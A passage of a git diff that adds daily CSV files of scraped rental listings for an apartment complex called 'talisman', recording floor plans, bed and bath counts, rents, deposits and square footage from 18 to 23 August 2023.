(1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230818,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230818,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230818,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230818,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230818,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230818,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230818,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230818,talisman,C2 (2x2),2 Bed 2 Bath,"$2,976",$300,1088 - 1243 sq.ft.,None,N/A +20230818,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230818,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230818,talisman,C5 (2x2),2 Bed 2 Bath,"$2,743",$300,934 - 984 sq.ft.,None,N/A +20230818,talisman,C3 (2x2),2 Bed 2 Bath,"$2,927",$300,1010 - 1103 sq.ft.,None,N/A +20230818,talisman,C1 (2x2),2 Bed 2 Bath,"$3,121",$300,1029 - 1294 sq.ft.,None,N/A +20230818,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230818,talisman,C7 (2x2),2 Bed 2 Bath,"$2,941",$300,1074 - 1131 sq.ft.,None,N/A +20230818,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,131",$300,1140 - 1185 sq.ft.,None,N/A +20230818,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230818,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230818,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230818,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230818,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230818,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230818,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230818,talisman,D1 (3x2),3 Bed 2 Bath,"$3,253",$300,1241 - 1362 sq.ft.,None,N/A +20230818,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230818,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230818,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230819.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230819.csv new file mode 100644 index 00000000000..09a450678f5 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230819.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230819,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230819,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230819,talisman,A10 (1x1),1 Bed 1 Bath,"$2,034",$300,578 - 665 sq.ft.,None,N/A +20230819,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230819,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230819,talisman,A3 (1x1),1 Bed 1 Bath,"$2,134",$300,609 - 642 sq.ft.,None,N/A +20230819,talisman,A2 (1x1),1 Bed 1 Bath,"$2,104",$300,617 - 715 sq.ft.,None,N/A +20230819,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230819,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230819,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230819,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230819,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230819,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230819,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230819,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,501",$300,745 - 828 sq.ft.,None,N/A +20230819,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230819,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230819,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230819,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230819,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230819,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230819,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230819,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230819,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230819,talisman,C2 (2x2),2 Bed 2 Bath,"$2,976",$300,1088 - 1243 sq.ft.,None,N/A +20230819,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230819,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230819,talisman,C5 (2x2),2 Bed 2 Bath,"$2,743",$300,934 - 984 sq.ft.,None,N/A +20230819,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230819,talisman,C1 (2x2),2 Bed 2 Bath,"$3,121",$300,1029 - 1294 sq.ft.,None,N/A +20230819,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230819,talisman,C7 (2x2),2 Bed 2 Bath,"$2,941",$300,1074 - 1131 sq.ft.,None,N/A +20230819,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,131",$300,1140 - 1185 sq.ft.,None,N/A +20230819,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230819,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230819,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230819,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230819,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230819,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230819,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230819,talisman,D1 (3x2),3 Bed 2 Bath,"$3,253",$300,1241 - 1362 sq.ft.,None,N/A +20230819,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230819,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230819,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230820.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230820.csv new file mode 100644 index 00000000000..cce065c1569 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230820.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230820,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230820,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230820,talisman,A10 (1x1),1 Bed 1 Bath,"$2,034",$300,578 - 665 sq.ft.,None,N/A +20230820,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230820,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230820,talisman,A3 (1x1),1 Bed 1 Bath,"$2,134",$300,609 - 642 sq.ft.,None,N/A +20230820,talisman,A2 (1x1),1 Bed 1 Bath,"$2,104",$300,617 - 715 sq.ft.,None,N/A +20230820,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230820,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230820,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230820,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230820,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230820,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230820,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230820,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,501",$300,745 - 828 sq.ft.,None,N/A +20230820,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230820,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230820,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230820,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230820,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230820,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230820,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230820,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230820,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230820,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230820,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230820,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230820,talisman,C5 (2x2),2 Bed 2 Bath,"$2,743",$300,934 - 984 sq.ft.,None,N/A +20230820,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230820,talisman,C1 (2x2),2 Bed 2 Bath,"$3,121",$300,1029 - 1294 sq.ft.,None,N/A +20230820,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230820,talisman,C7 (2x2),2 Bed 2 Bath,"$2,941",$300,1074 - 1131 sq.ft.,None,N/A +20230820,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,131",$300,1140 - 1185 sq.ft.,None,N/A +20230820,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230820,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230820,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230820,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230820,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230820,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230820,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230820,talisman,D1 (3x2),3 Bed 2 Bath,"$3,253",$300,1241 - 1362 sq.ft.,None,N/A +20230820,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230820,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230820,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230821.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230821.csv new file mode 100644 index 00000000000..f304ca7ac52 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230821.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230821,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230821,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230821,talisman,A10 (1x1),1 Bed 1 Bath,"$2,034",$300,578 - 665 sq.ft.,None,N/A +20230821,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230821,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230821,talisman,A3 (1x1),1 Bed 1 Bath,"$2,134",$300,609 - 642 sq.ft.,None,N/A +20230821,talisman,A2 (1x1),1 Bed 1 Bath,"$2,104",$300,617 - 715 sq.ft.,None,N/A +20230821,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230821,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230821,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230821,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230821,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230821,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230821,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230821,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,501",$300,745 - 828 sq.ft.,None,N/A +20230821,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230821,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230821,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230821,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230821,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230821,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230821,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230821,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230821,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230821,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230821,talisman,CL6 (2x2),2 Bed 2 Bath,ContactUs,$300,890 - 945 sq.ft.,None,N/A +20230821,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230821,talisman,C5 (2x2),2 Bed 2 Bath,"$2,743",$300,934 - 984 sq.ft.,None,N/A +20230821,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230821,talisman,C1 (2x2),2 Bed 2 Bath,"$3,121",$300,1029 - 1294 sq.ft.,None,N/A +20230821,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230821,talisman,C7 (2x2),2 Bed 2 Bath,"$2,941",$300,1074 - 1131 sq.ft.,None,N/A +20230821,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,131",$300,1140 - 1185 sq.ft.,None,N/A +20230821,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230821,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230821,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230821,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230821,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230821,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230821,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230821,talisman,D1 (3x2),3 Bed 2 Bath,"$3,253",$300,1241 - 1362 sq.ft.,None,N/A +20230821,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230821,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230821,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230822.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230822.csv new file mode 100644 index 00000000000..5017cfb3696 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230822.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230822,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230822,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230822,talisman,A10 (1x1),1 Bed 1 Bath,"$2,034",$300,578 - 665 sq.ft.,None,N/A +20230822,talisman,A1 (1x1),1 Bed 1 Bath,"$2,054",$300,604 - 671 sq.ft.,None,N/A +20230822,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230822,talisman,A3 (1x1),1 Bed 1 Bath,"$2,134",$300,609 - 642 sq.ft.,None,N/A +20230822,talisman,A2 (1x1),1 Bed 1 Bath,"$2,104",$300,617 - 715 sq.ft.,None,N/A +20230822,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230822,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230822,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230822,talisman,B5 (1x1),1 Bed 1 Bath,"$2,239",$300,674 - 775 sq.ft.,None,N/A +20230822,talisman,B2 (1x1),1 Bed 1 Bath,"$2,309",$300,706 - 739 sq.ft.,None,N/A +20230822,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230822,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230822,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,501",$300,745 - 828 sq.ft.,None,N/A +20230822,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230822,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230822,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230822,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230822,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230822,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230822,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230822,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230822,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230822,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230822,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,871",$300,890 - 945 sq.ft.,None,N/A +20230822,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230822,talisman,C5 (2x2),2 Bed 2 Bath,"$2,743",$300,934 - 984 sq.ft.,None,N/A +20230822,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230822,talisman,C1 (2x2),2 Bed 2 Bath,"$3,121",$300,1029 - 1294 sq.ft.,None,N/A +20230822,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230822,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230822,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,131",$300,1140 - 1185 sq.ft.,None,N/A +20230822,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230822,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230822,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230822,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230822,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230822,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230822,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230822,talisman,D1 (3x2),3 Bed 2 Bath,"$3,253",$300,1241 - 1362 sq.ft.,None,N/A +20230822,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230822,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230822,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230823.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230823.csv new file mode 100644 index 00000000000..a06592a5f3e --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230823.csv @@ -0,0 +1,45 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230823,talisman,A12 (1x1),1 Bed 1 Bath,ContactUs,$300,482 - 495 sq.ft.,None,N/A +20230823,talisman,A7 (1x1),1 Bed 1 Bath,ContactUs,$300,547 - 569 sq.ft.,None,N/A +20230823,talisman,A10 (1x1),1 Bed 1 Bath,"$1,941",$300,578 - 665 sq.ft.,None,N/A +20230823,talisman,A1 (1x1),1 Bed 1 Bath,"$1,961",$300,604 - 671 sq.ft.,None,N/A +20230823,talisman,A11 (1x1),1 Bed 1 Bath,ContactUs,$300,605 - 651 sq.ft.,None,N/A +20230823,talisman,A3 (1x1),1 Bed 1 Bath,"$2,041",$300,609 - 642 sq.ft.,None,N/A +20230823,talisman,A2 (1x1),1 Bed 1 Bath,"$2,011",$300,617 - 715 sq.ft.,None,N/A +20230823,talisman,A8 (1x1),1 Bed 1 Bath,ContactUs,$300,631 sq.ft.,None,N/A +20230823,talisman,A6 (1x1),1 Bed 1 Bath,ContactUs,$300,650 sq.ft.,None,N/A +20230823,talisman,A9 (1x1),1 Bed 1 Bath,ContactUs,$300,663 sq.ft.,None,N/A +20230823,talisman,B5 (1x1),1 Bed 1 Bath,"$2,258",$300,674 - 775 sq.ft.,None,N/A +20230823,talisman,B2 (1x1),1 Bed 1 Bath,"$2,322",$300,706 - 739 sq.ft.,None,N/A +20230823,talisman,A4 (1x1),1 Bed 1 Bath,ContactUs,$300,713 - 716 sq.ft.,None,N/A +20230823,talisman,A5 (1x1),1 Bed 1 Bath,ContactUs,$300,734 - 739 sq.ft.,None,N/A +20230823,talisman,AL1 (1x1),1 Bed 1 Bath,"$2,531",$300,745 - 828 sq.ft.,None,N/A +20230823,talisman,B4 (1x1),1 Bed 1 Bath,ContactUs,$300,774 sq.ft.,None,N/A +20230823,talisman,B1 (1x1),1 Bed 1 Bath,ContactUs,$300,782 sq.ft.,None,N/A +20230823,talisman,AL2 (1x1),1 Bed 1 Bath,ContactUs,$300,785 - 852 sq.ft.,None,N/A +20230823,talisman,AL3 (1x1),1 Bed 1 Bath,ContactUs,$300,798 - 800 sq.ft.,None,N/A +20230823,talisman,B3 (1x1),1 Bed 1 Bath,ContactUs,$300,834 sq.ft.,None,N/A +20230823,talisman,AL4 (1x1),1 Bed 1 Bath,ContactUs,$300,863 sq.ft.,None,N/A +20230823,talisman,BL5 (1x1),1 Bed 1 Bath,ContactUs,$300,906 - 930 sq.ft.,None,N/A +20230823,talisman,AL5 (1x1),1 Bed 1 Bath,ContactUs,$300,944 sq.ft.,None,N/A +20230823,talisman,BL2 (2x2),2 Bed 2 Bath,ContactUs,$300,883 - 888 sq.ft.,None,N/A +20230823,talisman,C2 (2x2),2 Bed 2 Bath,ContactUs,$300,1088 - 1243 sq.ft.,None,N/A +20230823,talisman,CL6 (2x2),2 Bed 2 Bath,"$2,901",$300,890 - 945 sq.ft.,None,N/A +20230823,talisman,C9 (2x2),2 Bed 2 Bath,ContactUs,$300,923 sq.ft.,None,N/A +20230823,talisman,C5 (2x2),2 Bed 2 Bath,"$2,912",$300,934 - 984 sq.ft.,None,N/A +20230823,talisman,C3 (2x2),2 Bed 2 Bath,ContactUs,$300,1010 - 1103 sq.ft.,None,N/A +20230823,talisman,C1 (2x2),2 Bed 2 Bath,"$3,288",$300,1029 - 1294 sq.ft.,None,N/A +20230823,talisman,C10 (2x2),2 Bed 2 Bath,ContactUs,$300,1073 - 1207 sq.ft.,None,N/A +20230823,talisman,C7 (2x2),2 Bed 2 Bath,ContactUs,$300,1074 - 1131 sq.ft.,None,N/A +20230823,talisman,CL5 (2x2),2 Bed 2 Bath,"$3,161",$300,1140 - 1185 sq.ft.,None,N/A +20230823,talisman,C8 (2x2),2 Bed 2 Bath,ContactUs,$300,1155 sq.ft.,None,N/A +20230823,talisman,C11 (2x2),2 Bed 2 Bath,ContactUs,$300,1161 sq.ft.,None,N/A +20230823,talisman,C6 (2x2),2 Bed 2 Bath,ContactUs,$300,1170 sq.ft.,None,N/A +20230823,talisman,CL3 (2x2),2 Bed 2 Bath,ContactUs,$300,1228 - 1296 sq.ft.,None,N/A +20230823,talisman,CL1 (2x2),2 Bed 2 Bath,ContactUs,$300,1265 - 1297 sq.ft.,None,N/A +20230823,talisman,CL8 (2x2),2 Bed 2 Bath,ContactUs,$300,1360 sq.ft.,None,N/A +20230823,talisman,CL11 (2x2),2 Bed 2 Bath,ContactUs,$300,1422 sq.ft.,None,N/A +20230823,talisman,D1 (3x2),3 Bed 2 Bath,ContactUs,$300,1241 - 1362 sq.ft.,None,N/A +20230823,talisman,CL7 (2x2),2 Bed 2 Bath,ContactUs,$300,1362 sq.ft.,None,N/A +20230823,talisman,DL2 (3x2),3 Bed 2 Bath,ContactUs,$300,1428 sq.ft.,None,N/A +20230823,talisman,DL1 (3x2),3 Bed 2 Bath,ContactUs,$300,1521 sq.ft.,None,N/A diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230824.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230824.csv new file mode 100644 index 00000000000..0017db33a03 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230824.csv @@ -0,0 +1,45 @@ 